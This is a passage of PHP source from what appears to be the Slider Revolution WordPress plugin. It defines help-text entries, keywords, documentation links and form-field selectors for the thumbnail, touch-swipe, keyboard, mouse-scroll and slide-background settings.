								$k => array("thumbs. thumbs position", "thumbs inner", "thumbs outer", "inner outer", "inner", "outer vertical", "outer horizontal"),
								$d => __("Choose if the thumbs should appear inside or outside the Slider's main content area", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_posi', 
									$f => "*[name='sr_thumbsinnerouter'][value='inner']"
								)
							),
							'alignment' => array(
								$t => __("Alignment", 'revsliderhelp'),
								$h => "nav.thumbs.horizontal, nav.thumbs.vertical",
								$k => array("thumb align", "thumb alignment", "thumb position", "thumbs position"),
								$d => __("The Thumb's alignment position in the Slider before any offset(s) are applied", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_posi', 
									$f => "#thumbspos_selector_center-center"
								)
							),
							'offsetx' => array(
								$t => __("Offset X", 'revsliderhelp'),
								$h => "nav.thumbs.offsetX",
								$k => array("thumb position", "thumb offset"),
								$d => __("Offset the Thumb's horizontal position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_posi', 
									$f => "#nav_thumbs_offsetx"
								)
							),
							'offsety' => array(
								$t => __("Offset Y", 'revsliderhelp'),
								$h => "nav.thumbs.offsetY",
								$k => array("thumb position", "thumb offset"),
								$d => __("Offset the Thumb's vertical position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_posi', 
									$f => "#nav_thumbs_offsety"
								)
							),
							'visible_amount' => array(
								$t => __("Num. Thumbs", 'revsliderhelp'),
								$h => "nav.thumbs.amount",
								$k => array("thumbs amount", "num thumbs", "number thumbs"),
								$d => __("The maximum number of thumbs that should be visible regardless of the screen size", 'revsliderhelp'),
								$a => $u . "navigation-thumbs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_posi', 
									$f => "#nav_thumbs_amount"
								)
							)
						),
						'size' => array(
							'space' => array(
								$t => __("Spacing", 'revsliderhelp'),
								$h => "nav.thumbs.space",
								$k => array("thumbs space", "thumbs spacing", "thumb space", "thumbs spacing", "thumb margin", "thumb padding", "thumbs margin", "thumbs padding"),
								$d => __("The space between each individual thumb (in pixels)", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_size', 
									$f => "#nav_thumbs_space"
								)
							),
							'width' => array(
								$t => __("Width", 'revsliderhelp'),
								$h => "nav.thumbs.width",
								$k => array("thumbs width", "thumb width", "thumbs size", "thumb size"),
								$d => __("The default width for each individual thumb", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_size', 
									$f => "#nav_thumbs_width"
								)
							),
							'min_width' => array(
								$t => __("Minimum Width", 'revsliderhelp'),
								$h => "nav.thumbs.widthMin",
								$k => array("thumbs min-width", "thumbs min-width", "thumbs size", "thumb size", "thumbs min width", "thumbs minimum width"),
								$d => __("The minimum width for each individual thumb", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_size', 
									$f => "#nav_thumbs_widthMin"
								)
							),
							'height' => array(
								$t => __("Height", 'revsliderhelp'),
								$h => "nav.thumbs.height",
								$k => array("thumbs height", "thumbs height", "thumbs size", "thumb size"),
								$d => __("The default height for each individual thumb", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_size', 
									$f => "#nav_thumbs_height"
								)
							)
						),
						'wrapper' => array(
							'color' => array(
								$t => __("Wrapper Color", 'revsliderhelp'),
								$h => "nav.thumbs.wrapperColor",
								$k => array("thumbs color", "thumbs color", "thumbs size", "thumb size"),
								$d => __("The background color for the thumbs main wrapper", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_wrap', 
									$f => "#sliderThumbBgColor"
								)
							),
							'padding' => array(
								$t => __("Padding", 'revsliderhelp'),
								$h => "nav.thumbs.padding",
								$k => array("thumbs wrapper", "thumbs wrapper padding", "wrapper padding"),
								$d => __("The CSS padding that will be applied to the thumbs outer wrapper div", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_wrap', 
									$f => "#nav_thumbs_padding"
								)
							),
							'span' => array(
								$t => __("Span/Full-Width", 'revsliderhelp'),
								$h => "nav.thumbs.spanWrapper",
								$k => array("thumbs span", "thumbs wrapper", "thumbs wrapper span", "thumbs full width", "thumbs full-width"),
								$d => __("Choose if the wrapper should be displayed as a block or an inline-block", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_wrap', 
									$f => "#sr_thumbspan"
								)
							)
						),
						'visibility' => array(
							'rtl' => array(
								$t => __("Right to Left", 'revsliderhelp'),
								$h => "nav.thumbs.rtl",
								$k => array("rtl", "right to left", "right-to-left"),
								$d => __("Use RTL language alignment for the Arrow positioning", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#sr_thumbsrtl"
								)
							),
							'animation' => array(
								$t => __("Thumbs Animation", 'revsliderhelp'),
								$h => "nav.thumbs.anim",
								$k => array("thumbs animation", "bullet animation", "show thumbs", "hide thumbs", "navigation animation"),
								$d => __("Optionally animate the thumbs into and out of view when the slider first loads and on mouse hover", 'revsliderhelp'),
								$a => $u . "navigation-thumbs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#sr_thumbs_animation"
								)
							),
							'show_speed' => array(
								$t => __("Thumbs Animation Speed", 'revsliderhelp'),
								$h => "nav.thumbs.animSpeed",
								$k => array("thumbs visibility", "show speed", "navigation speed"),
								$d => __("The animation speed for when the Thumbs animate into and out of view", 'revsliderhelp'),
								$a => $u . "navigation-thumbs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#nav_thumb_animSpeed"
								)
							),
							'show_delay' => array(
								$t => __("Thumbs Show Delay", 'revsliderhelp'),
								$h => "nav.thumbs.animDelay",
								$k => array("thumbs visibility", "navigation delay"),
								$d => __("A delay in milliseconds before the Thumbs animate into view", 'revsliderhelp'),
								$a => $u . "navigation-thumbs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#nav_thumb_animDelay"
								)
							),
							'hide_after' => array(
								$di => "nav_hideafter",
								$t => __("Hide After", 'revsliderhelp'),
								$h => "nav.thumbs.alwaysOn",
								$k => array("thumbs visibility", "hide after"),
								$d => __("Auto-hide the thumbs after a set amount of time (will be shown again when the user hovers/taps the Slider)", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#sr_thumbsalwshow"
								)
							),
							'hide_after_desktop' => array(
								$t => __("Hide After: Desktop", 'revsliderhelp'),
								$h => "nav.thumbs.hideDelay",
								$k => array("thumbs visibility", "hide after", "hide after desktop"),
								$d => __("The amount of the time before the Thumbnails are hidden on Desktop computers (in milliseconds)", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs'),
										array($p => 'settings.nav.thumbs.alwaysOn', $v => true, $o => 'nav_hideafter')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#nav_thumbs_hideDelay"
								)
							),
							'hide_after_mobile' => array(
								$t => __("Hide After: Mobile", 'revsliderhelp'),
								$h => "nav.thumbs.hideDelayMobile",
								$k => array("thumbs visibility", "hide after", "hide after desktop"),
								$d => __("The amount of the time before the Thumbnails are hidden on mobile devices (in milliseconds)", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs'),
										array($p => 'settings.nav.thumbs.alwaysOn', $v => true, $o => 'nav_hideafter')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#nav_thumbs_hideDelayMobile"
								)
							),
							'hide_under' => array(
								$di => "nav_hideunder",
								$t => __("Hide Under", 'revsliderhelp'),
								$h => "nav.thumbs.hideUnder",
								$k => array("thumbs visibility", "hide under", "hide under width"),
								$d => __("Hide the Thumbnails when the browser window is equal to or below a certain number", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#sr_thumbshideunder"
								)
							),
							'hide_under_limit' => array(
								$t => __("Hide Under Limit", 'revsliderhelp'),
								$h => "nav.thumbs.hideUnderLimit",
								$k => array("thumbs visibility", "hide under", "hide under limit"),
								$d => __("Hide the Thumbnails when the browser window is equal to or below this number", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs'),
										array($p => 'settings.nav.thumbs.hideUnder', $v => true, $o => 'nav_hideunder')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#nav_thumbs_hideunderlimit"
								)
							),
							'hide_over' => array(
								$di => "nav_hideover",
								$t => __("Hide Over", 'revsliderhelp'),
								$h => "nav.thumbs.hideOver",
								$k => array("thumbs visibility", "hide over", "hide over limit"),
								$d => __("Hide the Thumbnails when the browser window is equal to or above a certain number", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#sr_thumbshideover"
								)
							),
							'hide_over_limit' => array(
								$t => __("Hide Over Limit", 'revsliderhelp'),
								$h => "nav.thumbs.hideOverLimit",
								$k => array("thumbs visibility", "hide over", "hide over limit"),
								$d => __("Hide the Thumbnails when the browser window is equal to or above this number", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs'),
										array($p => 'settings.nav.thumbs.hideOver', $v => true, $o => 'nav_hideover')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_visi', 
									$f => "#nav_thumbs_hideoverlimit"
								)
							)
						)
					),
					'gst_nav_6' => array(
						'width' => array(
							$t => __("Preview Image Width", 'revsliderhelp'),
							$h => "nav.preview.width",
							$k => array("preview image", "prev image", "preview image width", "prev image width"),
							$d => __("The width of the navigation preview image", 'revsliderhelp'),
							$a => $u . "navigation-thumbnails/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_6", 
								$st => '#form_nav_pprevima', 
								$f => "#nav_prev_width"
							)
						),
						'height' => array(
							$t => __("Preview Image Height", 'revsliderhelp'),
							$h => "nav.preview.height",
							$k => array("preview image", "prev image", "preview image height", "prev image height"),
							$d => __("The height of the navigation preview image", 'revsliderhelp'),
							$a => $u . "navigation-thumbnails/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_6", 
								$st => '#form_nav_pprevima', 
								$f => "#nav_prev_height"
							)
						)
					),
					'gst_nav_7' => array(
						'enable' => array(
							$t => __("Enable Touch Swipe", 'revsliderhelp'),
							$h => "nav.swipe.set",
							$k => array("touch", "touch swipe", "swipe", "mobile"),
							$d => __("Enable touch swiping to navigate to the previous/next slides", 'revsliderhelp'),
							$a => $u . "touch-swipe/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_7", 
								$st => '#form_nav_touch', 
								$f => "#sr_usetouch"
							)
						),
						'enable_desktop' => array(
							$t => __("Enable Touch Swipe for Desktop", 'revsliderhelp'),
							$h => "nav.swipe.setOnDesktop",
							$k => array("touch", "touch swipe", "swipe", "desktop", "touch desktop", "touch swipe desktop"),
							$d => __("Enable touch swiping on Desktop computers to navigate to the previous/next slides", 'revsliderhelp'),
							$a => $u . "touch-swipe/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_7", 
								$st => '#form_nav_touch', 
								$f => "#sr_usetouchdesktop"
							)
						),
						'drag_block_vertical' => array(
							$t => __("Drag Block Vertical", 'revsliderhelp'),
							$h => "nav.swipe.blockDragVertical",
							$k => array("drag", "drag block", "drag block vertical"),
							$d => __("Choose if the page and its contents should be scrolled when swiping vertically", 'revsliderhelp'),
							$a => $u . "touch-swipe/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_7", 
								$st => '#form_nav_touch', 
								$f => "#sr_blockDragVertical"
							)
						),
						'velocity' => array(
							$t => __("Swipe Velocity", 'revsliderhelp'),
							$h => "nav.swipe.velocity",
							$k => array("velocity", "swipe", "touch swipe", "swipe velocity", "swipe sensitivity", "touch sensitivity"),
							$d => __("The amount of pixels that need to be swiped before a Slide change occurs", 'revsliderhelp'),
							$a => $u . "touch-swipe/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_7", 
								$st => '#form_nav_touch', 
								$f => "#nav_swipe_velocity"
							)
						),
						'min_touch' => array(
							$t => __("Min. Fingers", 'revsliderhelp'),
							$h => "nav.swipe.minTouch",
							$k => array("min finger", "min fingers", "swipe", "touch", "touch swipe", "minimum finger", "minimum fingers"),
							$d => __("The number of fingers needed in the swipe action for a Slide change to occur", 'revsliderhelp'),
							$a => $u . "touch-swipe/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_7", 
								$st => '#form_nav_touch', 
								$f => "#nav_swipe_minTouch"
							)
						),
						'orientation' => array(
							$t => __("Swipe Orientation", 'revsliderhelp'),
							$h => "nav.swipe.direction",
							$k => array("orientation", "swipe orientation", "swipe direction", "touch direction"),
							$d => __("The swipe direction that will trigger a Slide change", 'revsliderhelp'),
							$a => $u . "touch-swipe/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_7", 
								$st => '#form_nav_touch', 
								$f => "*[name='sr_swipedirection'][value='horizontal']"
							)
						)
					),
					'gst_nav_8' => array(
						'enable' => array(
							$t => __("Enable Keyboard Navigation", 'revsliderhelp'),
							$h => "nav.keyboard.set",
							$k => array("keyboard", "key", "left key", "right key", "up key", "down key"),
							$d => __("Enable left/right/up/down keys to control the Slider", 'revsliderhelp'),
							$a => $u . "keyboard-arrows-mouse-wheel/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_8", 
								$st => '#form_nav_misc', 
								$f => "#sr_usekeyboard"
							)
						),
						'direction' => array(
							$t => __("Key Arrow Direction", 'revsliderhelp'),
							$h => "nav.keyboard.direction",
							$k => array("keyboard", "key", "left key", "right key", "up key", "down key"),
							$d => __("Choose to use left/right keys or up/down keys to change Slides", 'revsliderhelp'),
							$a => $u . "keyboard-arrows-mouse-wheel/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_8", 
								$st => '#form_nav_misc', 
								$f => "*[name='sr_keyboarddirection'][value='horizontal']"
							)
						)
					),
					'gst_nav_9' => array(
						'enable' => array(
							$t => __("Enable Mouse Scroll", 'revsliderhelp'),
							$h => "nav.mouse.set",
							$k => array("mouse scroll", "scroll", "mouse", "mouse wheel", "wheel"),
							$d => __("Enable mouse scrolling to control Slide changes", 'revsliderhelp'),
							$a => $u . "keyboard-arrows-mouse-wheel/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_9", 
								$st => '#form_nav_mousescroll', 
								$f => "*[name='sr_mousenavigation'][value='on']"
							)
						),
						'reverse' => array(
							$t => __("Reverse Scroll", 'revsliderhelp'),
							$h => "nav.mouse.reverse",
							$k => array("mouse scroll", "scroll", "mouse", "direction", "reverse", "reverse scroll", "wheel", "mouse wheel"),
							$d => __("Choose which direction the mouse wheel should be scrolled to change Slides", 'revsliderhelp'),
							$a => $u . "keyboard-arrows-mouse-wheel/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_9", 
								$st => '#form_nav_mousescroll', 
								$f => "*[name='sr_reversemousenavigation'][value='reverse']"
							)
						),
						'target' => array(
							$t => __("Scroll Target", 'revsliderhelp'),
							$h => "nav.mouse.target",
							$k => array("mouse scroll", "scroll", "mouse", "scroll target", "target"),
							$d => __("Choose the page target object which scrolls in your theme so its scroll position can be animated while snapping", 'revsliderhelp'),
							$a => $u . "keyboard-arrows-mouse-wheel/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_9", 
								$st => '#form_nav_mousescroll', 
								$f => "*[name='sr_targetmousenavigation']"
							)
						),
						'threshold' => array(
							$t => __("Snap Threshold", 'revsliderhelp'),
							$h => "nav.mouse.threshold",
							$k => array("mouse scroll", "scroll", "mouse", "scroll snap", "snap threshold"),
							$d => __("Sets the threshold within which slider will snap into position while scrolling, threshold is calculated based on slider's distance from top and bottom", 'revsliderhelp'),
							$a => $u . "keyboard-arrows-mouse-wheel/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_9", 
								$st => '#form_nav_mousescroll', 
								$f => "#wheelsnapthreshold"
							)
						),
						'viewport' => array(
							$t => __("In ViewPort (%)", 'revsliderhelp'),
							$h => "nav.mouse.viewport",
							$k => array("mouse scroll", "scroll", "mouse", "scroll viewport"),
							$d => __("Determines how much % of slider should be visible when slider should change slide on scroll", 'revsliderhelp'),
							$a => $u . "keyboard-arrows-mouse-wheel/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_9", 
								$st => '#form_nav_mousescroll', 
								$f => "#wheelifvisible"
							)
						)
					)
				),
				'slide_settings' => array(
					'gst_slide_1' => array(
						'type' => array(
							$di => "slide_bg_type",
							$t => __("Main Slide Background", 'revsliderhelp'),
							$h => "bg.type", 
							$k => array("slide", "slide settings", "background", "bg", "image", "image background"),
							$d => __("Set the Slide's Main background to a color, image or video", 'revsliderhelp'),
							$a => $u . "slide-background/",
							$hl => array($m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "#slide_bg_type")
						),
						'color' => array(
							$t => __("Slide Background Color", 'revsliderhelp'),
							$h => "bg.color", 		
							$k => array("slide", "slide settings", "background", "bg", "image", "images", "bg color", "background color"),
							$d => __("Set the Slide's Main background to a color, image or video", 'revsliderhelp'),
							$a => $u . "slide-background/",
							$hl => array(
								$dp => array(array($p => '#slide#.slide.bg.type', $v => 'solid', $o => 'slide_bg_type')),
								$m => "#module_slide_trigger, #gst_slide_1", 
								$st => '#form_slidebg_source', 
								$f => "#s_bg_color"
							)
						),
						'external_url' => array(
							$t => __("External Image URL", 'revsliderhelp'),
							$h => "bg.externalSrc", 		
							$k => array("slide", "slide settings", "background", "bg", "image", "images", "slide background", "image background"),
							$d => __("An image url to be used as the Slide's main background image", 'revsliderhelp'),
							$a => $u . "slide-background/",
							$hl => array(
								$dp => array(array($p => '#slide#.slide.bg.type', $v => 'external', $o => 'slide_bg_type')),
								$m => "#module_slide_trigger, #gst_slide_1", 
								$st => '#form_slidebg_source', 
								$f => "#s_ext_src"
							)
						),
						'image_background' => array(
							'image_from_stream' => array(
								$t => __("Image from Stream", 'revsliderhelp'),
								$h => "bg.imageFromStream",
								$k => array("stream", "stream background", "poster", "youtube poster", "vimeo poster", "video poster"),
								$d => __("The Slide's main background will be populated automatically for Video/Social-Stream Sliders", 'revsliderhelp'),
								$a => $u . "slide-background/#image",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external::youtube::vimeo::html5', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_source', 
									$f => "*[data-r='bg.imageFromStream']"
								)
							),
							'source_size' => array(
								$t => __("Source Size", 'revsliderhelp'),
								$h => "bg.imageSourceType",
								$k => array("background image", "slide image", "bg image"),
								$d => __("The size of the image that will be loaded, defined by WP Main Menu -> Settings -> Media -> Image Sizes", 'revsliderhelp'),
								$a => $u . "slide-background/#image",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'image', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_ssettings', 
									$f => "#slide_bg_img_ssize"
								)
							),
							'bg_fit' => array(
								$t => __("Background Fit", 'revsliderhelp'),
								$h => "bg.fit",
								$k => array("background image", "slide image", "bg image", "bg size", "background size", "bg fit", "background fit"),
								$d => __("The <a href='https://www.w3schools.com/cssref/css3_pr_background-size.asp' target='_blank'>CSS background-size</a> for the Slide's main background image", 'revsliderhelp'),
								$a => $u . "slide-background/#image",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_ssettings', 
									$f => "*[name='slide_bg_fit'][value='cover']"
								)
							),
							'bg_repeat' => array(
								$t => __("Background Repeat", 'revsliderhelp'),
								$h => "bg.repeat",
								$k => array("background image", "slide image", "bg image", "bg repeat", "background repeat"),
								$d => __("The <a href='https://www.w3schools.com/cssref/pr_background-repeat.asp' target='_blank'>CSS background-fit</a> for the Slide's main background image", 'revsliderhelp'),
								$a => $u . "slide-background/#image",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_ssettings', 
									$f => "#slide_bg_repeat"
								)
							),
							'bg_position' => array(
								$t => __("Background Position", 'revsliderhelp'),
								$h => "bg.position",
								$k => array("background image", "slide image", "bg image", "bg position", "background position"),
								$d => __("The <a href='https://www.w3schools.com/cssref/pr_background-position.asp' target='_blank'>CSS background-position</a> for the Slide's main background image", 'revsliderhelp'),
								$a => $u . "slide-background/#image",
								$hl => array(
									$dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_ssettings', 
									$f => "#slide_bg_position_center-center"
								)
							),
							'parallax_3d' => array(
								$t => __("Parallax Level", 'revsliderhelp'),
								$h => "effects.parallax",
								$k => array("parallax", "parallax level", "background parallax bg image parallax", "bg parallax"),
								$d => __("The movement strength that will be applied to the Slide's main background image", 'revsliderhelp'),
								$a => $u . "slide-background/",
								$hl => array(
									$dp => array(array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax')),
									$m => "#module_slide_trigger, #gst_slide_1", 
									$st => '#form_slidebg_pddd', 
									$f => "#slide_parallax_level"
								)
							),
							'attributes' => array(
								'alt_attr' => array(
									$di => "slide_attributes_alt",
									$t => __("Alt Attribute", 'revsliderhelp'),
									$h => "attributes.altOption",
									$k => array("background image alt", "alt attribute", "bg alt", "image alt"),
									$d => __("Define the 'alt' attribute for the Slide's main background image.  Useful for SEO purposes.", 'revsliderhelp'),
									$a => $u . "slide-background/#image",
									$hl => array(
										$dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')),
										$m => "#module_slide_trigger, #gst_slide_1", 
										$st => '#form_slidebg_ssettings', 
										$f => "#slide_bg_image_alt"
									)
								),
								'alt_custom' => array(
									$t => __("Custom Alt Attribute", 'revsliderhelp'),
									$h => "attributes.alt",
									$k => array("background image alt", "alt attribute", "bg alt", "image alt"),
									$d => __("Enter custom alternative text for the Slide's main background image.  Useful for SEO purposes.", 'revsliderhelp'),
									$a => $u . "slide-background/#image",
									$hl => array(
										$dp => array(
											array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
